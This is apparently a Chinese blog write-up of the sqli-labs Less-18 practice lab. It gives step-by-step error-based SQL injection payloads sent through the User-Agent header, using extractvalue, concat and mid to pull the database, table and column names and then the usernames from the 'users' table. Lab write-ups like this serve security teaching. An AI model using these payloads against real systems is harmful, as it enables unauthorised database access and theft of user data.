[网络安全]sqli-labs Less-18 解题详析

姿势

该题为基于GET及报错的User-Agent注入,故需在参数后构造POC

报错注入的原理及攻击姿势可参考: [网络安全]sqli-labs Less-5 解题详析

该题采用抓包进行处理

判断注入类型

在这里插入图片描述
由回显可知,注入类型为('注入

故注入模板为',1,1)#


查库名

',extractvalue(1,concat(0x23,database())),1)#

得到库名为security


查表名

我们以第一个1为注入点,构造POC如下:

',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#

在这里插入图片描述

得到四个表名


查列名

',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#

在这里插入图片描述


查数据

介绍一下mid()函数

MID() 函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:

MID(str, start, length)

其中:

  • str 是要提取子字符串的源字符串。
  • start 指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。
  • length 指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。

例如,假设有一个字符串 "Hello, World!",如果想要提取其中的子字符串 "World",可以使用以下 MID() 函数调用:

MID("Hello,World!", 7, 5)

在这个例子中,str 是字符串 "Hello, World!"start 是 7,length 是 5。因此,MID() 函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"

我们以username列为例,利用mid()函数构造POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

在这里插入图片描述
这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'

在这里插入图片描述
同理,32改为64后得到:

在这里插入图片描述


总结

以上为[网络安全]sqli-labs Less-18 解题详析,考察报错注入及相关函数的使用;后续将分享 [网络安全]sqli-labs Less-19 解题详析。

我是秋说,我们下次见。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值